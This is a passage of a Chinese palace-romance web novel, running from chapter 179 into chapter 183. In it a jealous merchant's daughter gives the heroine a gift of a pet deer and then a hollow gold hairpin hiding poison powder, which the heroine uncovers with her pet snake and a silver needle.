说完,他深深地看了她一眼,大步流星地离开了。 姜姝宁望着他消失的方向,心中五味杂陈。 她没有察觉到,就在不远处的假山之后,一道阴冷而幽怨的目光正落在她身上…… 第179章 妒火烟消云散 第一百七十九章 妒火烟消云散 “苏姑娘,你看到了吧?”假山后,姜瑶真声音压得极低,隐隐带着一股子幸灾乐祸的意味,“五皇子殿下,也就是你的未婚夫,如今为了我那个好姐姐姜姝宁,竟当众说要与你退婚呢!” 她身旁的女子一身珠光宝气,正是京城富商之女苏婉。 此时,苏婉的指甲深深嵌入掌心,脸上满是不甘。 她一个金尊玉贵养大的富商之女,从小到大,想要的东西就没有得不到的。 原以为这门皇室亲事,不过是家族生意场上的一笔锦上添花的交易,可当她亲眼见到萧怀瑾那清风朗月般的容貌和气质时,一颗芳心便不受控制地沦陷了。 那样一个不染尘俗的男子,竟要成为她的夫君,这简直是上天对她最大的恩赐。 可现在,她梦寐以求的未婚夫竟为了另一个女人要同她退婚。 这让她如何能忍? 苏婉冷冷地斜了姜瑶真一眼:“三皇子妃,那可是你的嫡亲姐姐,你这是什么意思?难不成要帮着我一个外人,去对付你的亲姐姐?” “苏姑娘,你有所不知。”姜瑶真立刻换上了一副泫然欲泣的模样,“我这个姐姐,她最擅长的就是抢别人的未婚夫,就连自己亲妹妹的夫君,她都不放过!” “当初三皇子殿下也是被她那副清高孤傲的样子迷得神魂颠倒,非要娶她为正妃。如今我们好不容易成了婚,她倒好,还时不时地在殿下面前晃悠,说些似是而非的话,勾得殿下心里头痒痒的……我这日子过得,真是……” 她说着,还煞有介事地用帕子按了按眼角,擦拭着根本不存在的眼泪。 “你姐姐她……当真如此不堪?”苏婉有些难以置信。 姜瑶真冷笑一声,眼中闪过一丝怨毒:“她何止是不堪!她这人,最享受的便是看着所有男人为她争风吃醋,为她神魂颠倒。你看她,那边把五皇子殿下迷得要死要活,这边又跟景王殿下不清不楚。 她对外头宣称什么今生不嫁,不过是吊着所有人的胃口,不想让任何一个男人彻底放弃对她的念想罢了!真是个天生的狐媚子!” “水性杨花!”苏婉从牙缝里挤出这四个字,满脸怒容,“这样的女子,凭什么让五皇子殿下为她倾心?这个婚,我说什么也不能让殿下退了!” 她绝不允许自己输给这样一个女人! “苏姑娘,你能这么想就对了!”姜瑶真亲昵地挽住她的胳膊,“姜姝宁虽然是我姐姐,但在这件事上,我绝对是站在你这边的!你想想,若你能顺顺利利地嫁给五皇子殿下,往后我们可就是妯娌了,那不就是一家人了吗?” 苏婉被她这番话说得心中熨帖,原本对她的那点防备也消散了大半。 她低头毫不犹豫地褪下自己手指上那枚硕大的红宝石戒指,一把塞进姜瑶真的手里。 “三皇子妃说得是,往后还要请你多多关照。这是我的一点心意,你可千万要收下!” 姜瑶真看着掌心那枚流光溢彩的戒指,眼睛都快直了。 这鸽血红的色泽,澄澈通透,一看便知是价值连城的极品。 苏家果真是富可敌国,这苏婉出手也太阔绰了! “哎呀,这怎么好意思呢!”她嘴上客气着,手却飞快地将戒指戴在了自己手上,对着光线来回欣赏,喜爱之情溢于言表。 “三皇子妃的容貌本就明艳,配这红宝石,更是相得益彰。”苏婉恭维了一句,随即切入正题,“还请三皇子妃多与我说说五皇子殿下的喜好,也好让我……投其所好。” “那是自然!”姜瑶真收了好处,态度更是殷勤。 她凑近苏婉耳边,低声道,“其实,你可以这样做……” —— 景王府的鱼池边,太子妃顾晚樱正百无聊赖地将一把鱼食撒入水中,引得一群色彩斑斓的锦鲤蜂拥而至,争相抢食。 她的侧脸在夕阳的余晖下显得有些落寞,纵然身着华服,头戴珠翠,也掩盖不住眉宇间的一抹愁绪。 见到她这副神情,姜姝宁心神微动。 她不由想起前世的自己,在旁人眼中,是否也是这般模样——明明锦衣玉食,眉眼间却尽是挥之不去的忧愁。 “太子妃。”姜姝宁走上前,轻声唤道。 顾晚樱回过头,见到是她,脸上勉强挤出一丝笑意,随即又化为一声轻叹:“姜姑娘,你说,我们像不像这池子里的锦鲤?” 她又丢下一把鱼食,看着那些为了食物而奋力摇尾的锦鲤,神色黯淡,“旁人看着我们衣食无忧,过着光鲜亮丽的生活,可实际上呢?我们都被困在这方寸之地,半点自由都没有。” “人生来便是困于天地之间的,本就没有绝对的自由可言。”姜姝宁的声音很轻,带着一种洞察世事后的通透。 顾晚樱微微一怔,随即像是想通了什么,露出一个释然的笑意:“你说的对。若身旁的人是对的,这牢笼也是一方天地;若身旁的人是错的,这天地也不过是一座更大的牢笼。东宫虽无自由,但能陪伴在太子哥哥身边,我很满足。” 说这话时,她眼中有光,那是独属于一个沉浸在爱意中的女人的光芒。 那一瞬间,姜姝宁竟有些羡慕她。 前世,她痴恋萧凌川,可华丽的景王府于她而言,却始终是一座冰冷的牢笼。 不知道这一生,她有没有机会遇到那个能让她甘愿画地为牢的人,让她也感受一下,“牢笼也是天地”究竟是何种滋味。 收回纷乱的思绪,姜姝宁朝她走近了几步,压低了声音,神情严肃:“太子妃,那丹药是烈性的壮阳药。太子殿下身子本就孱弱,长期服用此药,只会掏空他的身体,后果不堪设想。” “什么?”顾晚樱如遭雷击,脸色瞬间煞白,手里的鱼食“啪”地一声掉在地上,“怎会如此?那是父皇他……” “或许陛下也并不知晓这丹药的药性如此猛烈。”姜姝宁下意识为皇帝匪夷所思的做法找了个理由,她提醒道,“但不管如何,这药是万万不能再让太子殿下服用了。若要调理,还需寻些温和滋补的方子,徐徐图之才是正道。” 顾晚樱握住她的手,眼中充满了后怕与感激:“姜姑娘……谢谢你!” “太子妃言重了。”姜姝宁轻轻拍了拍她的手背,以示安慰。 目送着顾晚樱脚步匆匆地离去,她终于长长地舒了一口气。 她不知道的是,在她身后不远处的假山背后,一双深邃如寒潭的眸子,正若有所思地注视着她方才的一举一动。 “看来,我们的父皇,终于还是对太子下手了。”萧凌川冷声道。 意识到那枚壮阳丹药是给太子服用后,他心中那团妒火如今烟消云散。 他身旁的七皇子萧琪钰,脸上是抑制不住的恶寒:“虎毒尚不食子,父皇当真连禽 兽都不如!” 萧凌川嗤笑一声,那笑意却未达眼底,反而更添了几分森冷的寒意:“他忌惮二哥和萧修湛的母族,又不太信任我这个身上流着一半南月血脉的儿子,如今,唯有太子这个母族式微的储君,对他的威胁最小。” “只可惜,太子体弱多病,恐难有子嗣延续香火。于是,他便想出这般杀鸡取卵的狠毒法子,逼迫太子妃早诞皇孙,再立一个更为年幼的储君,以此确保他的龙椅长久稳固。” “为了坐稳这至高无上的皇位,他何曾将我们任何一个真正视为儿子?不过是将我们当作他统治江山的棋子和工具罢了。” 即便是对朝臣尚需几分信任,可他们的父皇却只知防备他们,千方百计阻挠他们靠近那张象征无上权力的龙椅。 萧琪钰提醒道:“四哥,如今姜家大姑娘把丹药的事告诉了太子妃,太子想必很快就会停药。太子妃若是迟迟无法诞下子嗣,父皇是绝不会善罢甘休的!” “无妨。”萧凌川眼神冷冽如刀,“自然会有人会收拾他。” 既然那位高高在上的父皇对他们没有半分舐犊之情,那也别指望他们这些做儿子的,会对他存有丝毫的敬重与爱戴。 第180章 他要退婚 第一百八十章 他要退婚 萧怀瑾离开景王府后,便径直策马回了宫,一路面沉如水,周身裹挟着生人勿近的凛冽寒气,直奔荣贵妃所居的福禄宫。 宫人们见他这副山雨欲来的模样,皆吓得噤若寒蝉,纷纷垂首跪地。 他一脚踏入殿内,无视了请安的宫人,目光如利剑般直直射向正悠闲品着香茗的荣贵妃。 “母妃。”他开口,声音冷得像淬了冰,“儿臣要与苏家退婚。” 荣贵妃执着茶盏的手微微一顿,抬起眼帘,看到儿子那张阴沉得快要滴出水的脸,心中咯噔一下。 她放下茶盏,端起惯常的温婉姿态,柔声劝道:“瑾儿,这是你父皇亲自赐下的婚事,金口玉言,岂能说退就退?” “母妃当初为何要应下这门婚事?是谁向你提议让儿臣和那苏家之女结亲的?为何不先问过儿臣的意见?”他冷声质问。 那双素来温润的眼眸,此刻却锐利如鹰隼,紧紧锁住荣贵妃,不放过她脸上任何一丝细微的表情。 荣贵妃被他这审视的目光看得心头发虚,下意识地避开了他的视线,端起茶盏:“瑾儿,母妃知道你心悦姜姑娘。可如今,不过是让你娶苏家姑娘为侧妃,将来你正妃的位置还是可以留给姜姑娘的。况且,与苏家结亲,本就是一桩惠国惠民的大好事……” “母妃!”萧怀瑾忍无可忍,冷声打断了她的话。 那声音不大,却带着不容置喙的压迫感,让整个福禄宫的空气都仿佛凝固了。 “儿臣再问一遍,究竟是谁,提议让儿臣娶苏家之女的?” 面对儿子咄咄逼人的质问,荣贵妃知道今日是糊弄不过去了。 她幽幽叹了口气,像是用尽了全身的力气,才无奈地吐出三个字:“是四皇子。” “果然是他!”萧怀瑾蓦地冷笑出声,笑声是毫不掩饰的嘲弄,“他许给母妃什么天大的好处,竟能让母妃连自己亲儿子的意愿都不顾了?” 荣贵妃犹豫了片刻,在儿子那双仿佛能洞穿一切的眼眸注视下,终是和盘托出:“他承诺,若他日后坐上那个位置,便让我当大邺的太后!” “大邺的太后……”萧怀瑾低声重复着这几个字,随即竟低低地笑了起来。 他笑得眼角都泛起了红,话语却像一把淬了毒的刀子,狠狠扎进荣贵妃的心里,“确实是母妃难以拒绝的好处!毕竟,这个好处,儿臣是无论如何也给不出的!四哥真是好算计,只一个承诺,便将我的母妃彻底收买了!” 荣贵妃见他这副几近癫狂的模样,心里很不是滋味。 “母妃知道你心里委屈,可就一个侧妃罢了,你娶进门来,只当这殿里多了个会喘气的摆件,丝毫不会影响到姜姑娘将来的地位。姜姑娘是个通情达理的好孩子,想必不会在意区区一个侧妃的。” “摆件?”萧怀瑾嘲讽地扬起嘴角,“苏家富甲天下,那苏老爷就这么一个掌上明珠,母妃以为,他会舍得让自己的女儿,专程嫁给儿臣当一个摆件?崔家世代经商,母妃应该比儿臣更清楚,商人,是从来不做亏本的买卖!” 荣贵妃被噎得哑口无言。 萧怀瑾目光陡然变得凌厉,继续道:“母妃当初是如何向儿臣承诺的?您说,会动用整个崔家的支持,去跟四哥做交易,换我与姝宁一个百年好合!没想到,这交易还没开始,母妃您倒是先被他一个太后之位收买,转头就拿自己儿子的终身幸福给卖了!” 这番话,让荣贵妃一阵内疚。 她暗暗自责,当初怎么就如此鬼迷心窍,被萧凌川那几句话给说服了呢? 竟为了一个未必兑现的承诺,伤了自己儿子的心。 “瑾儿,是母妃糊涂了。可事已至此,你父皇已经下了赐婚的圣旨,就算要退婚,也不能由我们先开口,否则会落人口实的。” 她顿了顿,想出了一个折中的法子:“这样吧,过两日,我寻个由头,将那位苏姑娘召进宫里来。你亲自同她聊一聊,看能否说服她,让她主动去向苏家提出退婚。只要苏家肯出面,后续的事情,再由母妃来为你周旋。” 听到这话,萧怀瑾那张紧绷的脸上,总算有了一丝缓和的迹象。 这确实是眼下唯一可行的办法。 “……谢母妃。”他从齿缝里挤出三个字。 两日后,福禄宫。 苏婉随着引路的宫女踏入殿内时,心情激动不已。 她一眼就看到了那个身着月白色锦袍、身姿挺拔的男人。 他静静地站在荣贵妃身侧,明明长着一张温润清隽的脸,可周身的气场却冷冽如冰,让人不敢轻易靠近。 即便如此,苏婉的目光还是像被磁石吸住一般,再也挪不开了。 看到心仪之人在眼前,她只觉得脸颊阵阵发烫,连提前备好的说辞都忘了大半,只匆匆行了个礼,声音里带着一丝不易察觉的颤抖:“民女苏婉,拜见贵妃娘娘,拜见五皇子殿下。” 她偷偷抬眼,见萧怀瑾的视线并未落在自己身上,心中涌上一丝失落,旋即又强打起精神,脸上浮起一抹娇羞的绯色:“不知殿下也在,民女……只给贵妃娘娘带了礼物。” “无妨,苏姑娘不必多礼。”萧怀瑾的声音透着一股礼貌的疏离。 苏婉微微一笑,示意随行的婢女将一个精致的紫檀木礼盒端上来:“贵妃娘娘,这是民女为您精心挑选的礼物,也不知道合不合您的心意,还请贵妃娘娘不要嫌弃!” “苏姑娘有心了。”荣贵妃的目光落在苏婉身上,多了几分审视。 眼前这姑娘生得明眸皓齿,眉眼间带着一股商贾人家独有的精明,却又被那恰到好处的娇羞掩盖得很好。 她示意身边的宫女接过礼盒。 盒子打开的瞬间,殿内响起一片细微的抽气声。 只见丝绒衬垫之上,静静地躺着一串由鸽子蛋大小的帝王绿翡翠串成的项链,珠子颗颗饱满圆润,色泽浓郁得仿佛要滴出水来,一看便知是世间罕有的珍品。 饶是荣贵妃见惯了奇珍异宝,此刻也不由得暗暗心惊。 苏家,果然是深不见底的富贵。 苏婉像是没看到众人惊艳的目光,只是满眼期待地望着荣贵妃,迫不及待地问:“贵妃娘娘,您可喜欢?” 荣贵妃敛了敛眸,将心底的震惊压下,开口道:“苏姑娘太客气了,这礼物实在贵重。若本宫没猜错,这上面一颗翡翠珠子,就够在京城买下一座府邸了吧?” “民女可不知这项链值多少钱。”苏婉巧笑倩兮,话说得滴水不漏,“民女只知道,这抹碧色最衬娘娘您。也只有贵妃娘娘这般雍容华贵的气质,才能压得住这串项链,不让它夺了主人的光彩。” 没有人不喜欢被恭维,尤其这恭维还送上了一份天价的厚礼。 荣贵妃脸上的笑意真切了几分:“苏姑娘过誉了。你的这份礼物,本宫很是喜欢。” 她转头看向向萧怀瑾:“苏姑娘初次来福禄宫,对这里还不熟悉。瑾儿,你带她随处走走,看看这园子里的景致吧。” “是,母妃。”萧怀瑾应得干脆,没有丝毫犹豫。 他转向苏婉,目光终于落在了她的脸上,却依旧清冷无波,“苏姑娘,请。” 苏婉脸上飞起两朵红云,既高兴又羞涩地站起身,提起裙摆,亦步亦趋地跟在他身后,往庭院的方向走去。 庭院里花木扶疏,曲径通幽。 一踏出殿门,那股暖融融的气氛便被户外的微风吹散了。 萧怀瑾在一处假山旁停下脚步,确定四下无人后,便转过身,直截了当地开了口:“苏姑娘,你我的婚事,是母妃擅自做主。不瞒你说,我其实早就心有所属,此生心中再容不得旁人。” 他的话像一盆冰水,兜头浇下,瞬间熄灭了苏婉心中所有雀跃的火苗。 她脸上的笑意瞬间僵住了。 果然,他不想娶自己。 “五皇子殿下心仪之人,是姜家嫡女姜姝宁吧?”她明知故问。 “是。”萧怀瑾并不打算隐瞒,他甚至懒得去想她是如何知道的。 他只想快刀斩乱麻,尽快与她退婚,哪怕付出高一点的代价。 “我心悦她,此生非她不娶。若苏姑娘执意要嫁给我为侧妃,将来定会后悔。你家境优渥,才貌双全,值得更好的,我不想耽误你。若苏姑娘能说动令尊向父皇提出退婚,我愿说服外祖家,将黄金买卖的独家渠道让给苏家,作为补偿。” 他以为这已经是天大的诚意,足以让任何一个商人动心。 他已经做好了继续软硬兼施说服苏婉的准备,谁知她脸上的僵硬竟如冰雪般消融,重新绽开一个灿烂的笑容。 “好啊!” 她答应得如此爽快,反倒让萧怀瑾愣住了:“当真?” “当真。”苏婉的笑容里带上了一丝狡黠,“不过,民女不要什么黄金买卖渠道,那种俗物,我爹爹多的是。” 她的目光越过萧怀瑾的肩膀,投向不远处的一片花圃。 那里,有一只浑身的毛发柔顺得像上好的丝绒的可爱小鹿正在啃食盆栽里新长出来的花 蕾。 “民女要那个!”她指向那只小鹿。 萧怀瑾顺着她指的方向看去,眉头瞬间紧紧蹙起。 那是绒毛,他本来打算送给姜姝宁的宠物。 第181章 炫耀 第一百八十一章 炫耀 萧怀瑾微微蹙眉,一时间有些没反应过来。 他以为苏婉会狮子大开口,或是哭闹着不肯退婚,甚至做好了应对她提出更苛刻条件的准备。 黄金买卖的独家渠道,足以让任何一个商贾之家动心,那是泼天的富贵。 可她,只要一只鹿? “苏姑娘,你可知道我方才说的是什么?黄金的独家渠道,每年可为苏家带来至少百万两白银的进账。你确定,要用这个换一只鹿?” 他怀疑她是不是没听懂,或者根本不明白那笔生意意味着什么。 一个养在深闺的商贾之女,或许对数字和财富没有概念,只觉得宫里的宠物新奇有趣。 “民女听得很清楚,殿下。”苏婉收回手,脸上的笑容依旧甜美,甚至比刚才更多了几分真切。 “黄金白银,我家多得是,早就看腻了。可这宫里的小鹿,却是独一份的。民女就是喜欢它,不行吗?” 她的语气带着几分娇憨的任性,像极了一个被宠坏的孩子在索要心爱的玩具。 萧怀瑾再次打量她。 那张娇俏的脸上,除了方才初见他时的羞涩,此刻剩下的全是孩子气的执拗。 他心底的那丝警惕,瞬间被一种荒谬感所取代。 或许,她真的就只是个头脑简单的姑娘。 这样也好,事情反而变得简单了。 “此鹿名为‘绒毛’,是我养了半年的宠物。”萧怀瑾的语气缓和下来,温声道,“既然苏姑娘喜欢,我便将它赠予你。只要你答应回去后立刻说服令尊,向父皇奏请退婚。” “口说无凭。”苏婉眨了眨眼眸,“万一我回了家,殿下却反悔了,不把小鹿给我了,我岂不是亏大了?” “那依苏姑娘之见,当如何?”萧怀瑾耐着性子问。 “很简单呀。殿下现在就让人把绒毛给我送到府上去。只要我见到绒毛进了我们苏家的门,我立刻就去求我爹爹。我爹爹最疼我了,只要我开口,他没有不答应的。” 萧怀瑾心想,罢了,不过是一只小鹿罢了。 只要能退掉这门婚事,将来再寻一只更好的送到姜姝宁面前,也并非难事。 “好,我答应你。”他颔首,算是应下了这个荒唐的条件,“我这就命人去办。希望苏姑娘也能信守承诺。” “那是自然!”苏婉笑得眉眼弯弯,对着萧怀瑾盈盈一福,“多谢五殿下成全。民女在此等候殿下的好消息。” 她那副雀跃的模样,像个终于讨到糖吃的孩子,让萧怀瑾最后一丝疑虑也烟消云散。 他转身离去,准备去安排人手,将精心饲养了半年的绒毛送出宫去。 看着他毫不犹豫离去的背影,苏婉脸上的笑容缓缓敛去,那双清澈的眼眸骤然变得幽深而冰冷。 五皇子殿下,姜姝宁真的有那么好吗? 为了她,你竟连我这京城第一富商之女的婚也要退。 她冷笑一声,眼底闪过一抹阴鸷:既然你如此执迷不悟,那我便只好让姜姝宁知难而退了! 景王府内,凌风步履匆匆地入内禀报:“王爷,宫中眼线来报,五皇子方才命人将他豢养的那头小鹿,送往了苏府。” “哦?那头鹿?”萧凌川唇角勾起一抹冷笑,眼中尽是算计,“就是他用以讨好姜姝宁的那只?这才刚与苏家定了亲,便迫不及待地将宠物转赠旁人……这种事,怎么能不让姜姑娘知晓?” 他吩咐道:“传话给凌芜,让她务必将此事透露给姜姝宁。也该让知道,萧怀瑾有多见异思迁!” “是,殿下!” 另一边,凌芜刚得了凌风的传话,正绞尽脑汁地想该如何不着痕迹地将此事告知姜姝宁,就在此时,管家手捧一张精致的请帖走了进来:“大小姐,苏府送来了请帖。” “苏家?”姜姝宁接过请帖,眉头微蹙。 她与这京城首富苏家素无往来,对方为何会突然下帖相邀? 打开一看,帖上言辞恳切,邀她去苏府赏花。 凌芜看着那请帖上的内容,心想,赏花是假,炫耀那只从五皇子处得来的小鹿才是真吧。 “管家,替我婉拒了吧。”姜姝宁对此兴趣索然,随口便道。 凌芜连忙上前,故作期待道:“大小姐,苏家可是京城第一富商,府邸的奇珍异卉定然不少,尤其是那牡丹园,听说盛名在外呢!大小姐就带奴婢去开开眼界嘛!” 姜姝宁被她这副模样逗笑了,无奈地摇了摇头:“罢了,便依你一次,去赴了这赏花宴。” “谢大小姐!”凌芜暗自窃喜。 此行一去,大小姐自然会知晓五皇子赠鹿一事。 为了离间大小姐与五皇子的情意,四皇子殿下当真是煞费苦心。 两日后,姜姝宁依约带着凌芜,乘坐马车前往苏府。 苏家不愧是京城首富,府邸坐落在寸土寸金的锦绣大街上,府墙高耸,琉璃瓦在阳光下熠熠生辉,墙角雕梁画栋,处处彰显着奢靡与富贵,仿佛连空气中都弥漫着一股金银堆砌的气息。 与姜家那种世家清雅不同,苏府的富丽堂皇显得有些张扬。 才刚下马车,苏府的管家便满面堆笑地迎了上来,热情得近乎谄媚:“哎哟,可是姜家大小姐到了?我家小姐可是一早就盼着您了,快请进,快请进!” 姜姝宁淡淡颔首,随着管家踏入府中。 只见庭院内假山流水,亭台楼阁,无一不精,无一不贵。 凌芜跟在后面,暗暗咋舌。 她原以为景王府已经够奢华了,没想到这苏家竟是恨不得把金子银子都糊在墙上。 穿过几重回廊,便到了花园。 此时,一个身着鹅黄色罗裙的娇俏少女正站在一丛盛放的牡丹前,见到姜姝宁,立刻提着裙摆迎了上来,脸上漾开一个甜美的笑容。 “想必这位就是姜姑娘了,苏婉有礼了。” “苏姑娘客气。”姜姝宁平淡地回了一礼,目光不着痕迹地从她身上扫过。 这就是五皇子萧怀瑾的未婚妻,苏婉。 容貌娇艳,眉眼间带着一股商贾人家养出来的精明和娇憨,与京中贵女们端庄持重的气质截然不同。 “早就听闻姜姑娘的美名,今日一见,果然名不虚传。”苏婉亲热 地挽上姜姝宁的手臂,“姜姑娘快来看,这是我们家花匠新培育出的‘墨玉牡丹’,稀罕得很呢!” 姜姝宁被她半拖半拽地拉到花圃前,对那开得妖艳的黑牡丹并无多少兴趣,只是敷衍地点了点头:“确实不错。” 苏婉却像是没听出她语气中的疏离,依旧兴致勃勃地介绍着:“姜姑娘再看那边,那几盆是从江南运来的‘绿云’,还有那边……” 她喋喋不休地介绍着满园的花卉,仿佛真的只是单纯邀她来赏花。 姜姝宁耐着性子听着,目光却被花园一角用木栏围起来的一小片草地吸引了。 那里,一头毛色油亮、头顶长着可爱小角的小鹿,正悠闲地啃着嫩草。 那模样无比熟悉。 是绒毛。 萧怀瑾曾笑着说要送给她的绒毛。 此刻,它出现在了苏婉的府上。 “呀,瞧我这记性,光顾着跟姜姑娘说话,都忘了介绍我们家的新成员了。”苏婉仿佛这才注意到姜姝宁的视线,故作惊讶地轻呼一声,拉着她朝那片草地走去。 “姜姑娘你看,这头小鹿可爱吧?它叫绒毛,是五皇子殿下送给我的。” “殿下说,这是他用心养了半年的宠物,又说这小鹿眼睛像我,水汪汪的,所以送给我了。”苏婉一边抚摸着绒毛的脖颈,一边偏过头,用那双看似天真无邪的眼睛看着姜姝宁,嘴角噙着一抹胜利者的微笑,“殿下对我真是太好了,为了让我开心,连心爱之物都舍得。” 第182章 下狠招 第一百八十二章 下狠招 姜姝宁目光落在绒毛身上,神色如常。 她早料到今日苏婉邀她来,绝非单纯赏花,只是没想到对方竟是特意借此机会,向她炫耀从萧怀瑾那得来的小鹿。 苏婉脸上的得意几乎要满溢而出,眼神中藏着挑衅,仿佛在说:你看,萧怀瑾的心头好,如今都在我这儿了。 姜姝宁心中毫无波澜,嘴角弯起一抹浅淡的笑意:“这只小鹿我在皇宫里见过,确实是五皇子殿下的心爱宠物。能得五皇子割爱,可见苏姑娘在他心中的分量。恭喜苏姑娘了。” 苏婉一愣。 她本等着看姜姝宁脸上露出嫉妒或是失落的神色,可眼前这人却是一副云淡风轻的模样,似乎并不在意,倒是出乎她的意料。 “姜姑娘当真不在意?我可听说,这小鹿原本是五皇子殿下准备要送给你的,如今他给了我,你一点儿也不难过?” “苏姑娘说笑了。”姜姝宁抬眼,目光清冷如一泓秋水,没有半点波澜,“我向来不擅长照顾小动物,况且,苏府比相府优渥得多,绒毛在这里能得到更好的照料。我为绒毛感到高兴才是,怎会难过?” 苏婉见她一幅不痛不痒的模样,心中的妒意顿时如野草般疯长。 在她眼中,姜姝宁的淡定并非不在意萧怀瑾,而是笃定萧怀瑾无论做什么,都会将她放在心尖上。 这份从容像一记响亮的耳光,狠狠抽在了苏婉脸上,让她今日的骄傲和算计,都成了一场彻头彻尾的笑话。 不行,单单得到萧怀瑾心爱的宠物,根本离间不了他们。 得下狠招! 苏婉眼底闪过一抹狠色,面上却又很快恢复那副热情的笑意,像是方才的试探从未发生过:“难得姜姑娘来我府上一趟,我必是要送你一件礼物的!来人,把我梳妆台上那根海棠花金钗拿来!” 一个婢女立刻应声:“是,小姐!” 姜姝宁下意识婉拒:“不必了,苏姑娘太客气了!况且,我也没什么回礼的!” “哎呀,你我相识一场,是要送的!”苏婉笑眯眯地靠近了一步,语气里满是强硬的热络,“回礼什么的,就没必要了!” 不等姜姝宁再推辞,那婢女已捧着一个锦盒快步走来。 苏婉亲自打开盒子,露出一根做工精致的金钗,上头的海棠花雕刻得栩栩如生,花瓣边缘镶着细碎的红宝石,在阳光下熠熠生辉,一看便价格不菲。 姜姝宁眸光一顿,再次推辞:“苏姑娘,这太贵重了!我不能收!” “姜姑娘不必客气!”苏婉却不容她拒绝,径直拿起金钗,亲手插 进姜姝宁的发髻中。 她的手指冰凉,轻轻划过姜姝宁的鬓角,带着一股莫名的侵略感,笑容却越发甜美,“瞧,这海棠花金钗跟姜姑娘多般配啊!就像是为你量身打造的!” 姜姝宁下意识想拔下金钗,可那金钗像是长进她的发髻里,试了几次都拔不下来,若强行拔 出 来,定会弄乱了发髻。 她只得无奈道:“谢苏姑娘,等我回府,再给你回礼。” 心中却暗暗苦恼,相府虽不缺银钱,但能与这金钗等值的首饰,她一时还真想不出几件。 况且,这金钗背后藏着什么心思,她还不得而知,实在难以应对。 苏婉见她收下,笑得越发得意,拉着她又东拉西扯说了一通无关紧要的闲话,这才“依依不舍”地送她离开。 临走前,她还特意叮嘱:“姜姑娘,那金钗可要好好保管呀,这是我特意挑的,旁人我可舍不得给呢!” 姜姝宁只淡淡应了一声。 待她上了马车,离开苏府时,才蓦然察觉,今日苏府那热闹的花园中,除了她,竟再未见一位世家贵女的身影。 看来,她是这场所谓的赏花宴的唯一观众。 她唇角微扬,露出一抹无奈的浅笑,心下暗忖:不过是一头小鹿罢了,至于搭起如此大的戏台,费尽心思地唱这场戏吗? 车厢内,凌芜看着自家小姐,小声道:“大小姐,这位苏姑娘出手未免也太阔绰了,不过是初次见面,竟就送上这般贵重的礼物。” 言下之意是提醒姜姝宁小心提防苏婉,毕竟无事献殷勤,非奸即盗! 姜姝宁抬手,指尖轻轻触碰发髻上那根被强行插上的金钗,一种说不出的不安萦绕在心头。 “凌芜,把小白放出来吧。” 方才入府,为避免腕间的小蛇惊扰旁人,她特意将它留在了马车上。 “是,大小姐!”凌芜应声,打开了马车一角放着的首饰盒。 盒盖一打开,一道雪白的影子便如闪电般蹿了出来。 姜姝宁习惯性地伸出手腕,预备让它缠上来。 然而这一次,小白却对的手腕视而不见,竟径直顺着她的臂膀向上攀爬,目标明确地冲向了她的发间! “大小姐!”凌芜惊呼,“小白它缠在苏姑娘送的那根金钗上了!” 姜姝宁心头猛地一沉。 “快!帮我把金钗取下来!” 凌芜不敢怠慢,手脚麻利地将金钗连同缠在上面的小白一并取下。 只见那条通体雪白的小蛇,正用身体将金钗的钗身紧紧缠绕,蛇头正对着钗柄的位置,不住地吞吐着猩红的信子,显得异常兴奋。 姜姝宁接过金钗,仔细端详,很快便发现了端倪——这海棠花金钗的钗柄与钗身连接处,似乎有一道极其细微的缝隙。 她捏住两端,稍一用力,只听“咔哒”一声轻响,钗柄竟被她轻松地旋了下来! 随着钗柄分离,一些雪白的粉末从被掏空的钗身中簌簌洒落。 小白一见到那些粉末,更是激动不已,立刻凑上前去,伸出信子贪婪地舔 舐着。 姜姝宁忽然想起了姜天泽曾提过,小白自幼便是他用特殊毒物喂养长大的。 难道这粉末…… 她从宽大的袖口里取出孙神医赠她的那套银针,取出一根,小心地探向那堆粉末。 银针触及粉末的瞬间,尖端便以肉眼可见的速度化为一片乌黑! “这金钗里竟然藏着剧毒!”凌芜吓得脸色煞白,倒吸一口凉气,“苏姑娘的心思何其歹毒!她这是想毒害你吗?” 姜姝宁眸光一冷:“此事切莫声张。你拿着金钗,去城中最好的银楼,让他们照着这海棠花的样式,仿制一根一模一样的来,钗柄不必做空。” “是。”凌芜连忙应下,却还是忍不住担忧地小声问:“大小姐,苏婉如此算计您,这事儿要不要告诉景王殿下,让他为您出头?” “不必。”姜姝宁将那包藏着剧毒的钗柄用手帕小心包好,声音清冷而坚定,“我自有分寸。” 她心中明 镜似的。 苏婉此举,绝非为了下毒杀人这么简单。 毕竟这金钗是她众目睽睽之下赠予自己的,一旦自己出事,她便是最大的嫌疑人,如此拙劣的手段,应当不是苏婉赠自己金钗的最终目的。 所以,这藏毒的金钗,必然还有别的用处。 而她要做的,便是静待好戏开场,看苏婉究竟要借这金钗,唱一出怎样的戏码。 第183章 搭好戏台子 第一百八十三章 搭好戏台子 姜姝宁前脚刚走,苏府又迎来了新的客人。 姜瑶真带着张嫣登门拜访。 苏婉连忙迎了上去,脸上堆满了热络的笑:“三皇子妃大驾光临,有失远迎。若有什么吩咐,派人传个话,让民女进宫便是,何需劳烦您亲自跑一趟?” “宫里规矩多,人多口杂,哪有苏姑娘你这儿来得清静自在?”姜瑶真一面说着,一双眼睛却早已不着痕迹地将这厅堂的奢华陈设扫了一遍,目光中难掩贪婪与艳羡,“都说苏家富甲京城,今日一见,果然名不虚传。这份气派,怕是连皇宫内苑也要逊色三分!” 崔家作为皇室外戚,虽同样财力雄厚,行事却向来低调,府邸装潢处处内敛,绝不敢如此张扬。 而苏家则不同,尚未与皇权有过多牵扯,这份毫不掩饰的富贵,几乎要晃花人的眼睛。 “三皇子妃谬赞了。”苏婉得意地一笑,顺势接话道,“您若是不嫌弃,随时都可以来我这儿小坐,我也好时常沾一沾皇子妃的贵气!” “那敢情好!”姜瑶真目的达成,笑意更深,“说正事,我今日来,是想将张姑娘引荐给你认识。张姑娘如今已是准肃王妃,日后便是我们的皇嫂了!” 张嫣始终不愿接受自己即将嫁给肃王萧锦瑜的事实,听姜瑶真如此介绍,只僵硬地扯了扯嘴角,算是和苏婉打了招呼。 苏婉笑着道:“原来是未来的肃王妃,失敬失敬!张姑娘气质清雅脱俗,我瞧着,倒有一件首饰与你极为相称!来人,将我妆台上那支翠蓝色点翠花簪取来,权当是我送给张姑娘的见面礼!” 很快,婢女便捧着一个锦盒呈上。 苏婉不由分说地将盒子塞进张嫣手中,笑道:“小小礼物,不成敬意,张姑娘可千万别推辞!你们先在暖阁稍坐片刻,我去去就来!” 说罢,便领着婢女转身离去。 张嫣捏着手中的锦盒,神色阴郁。 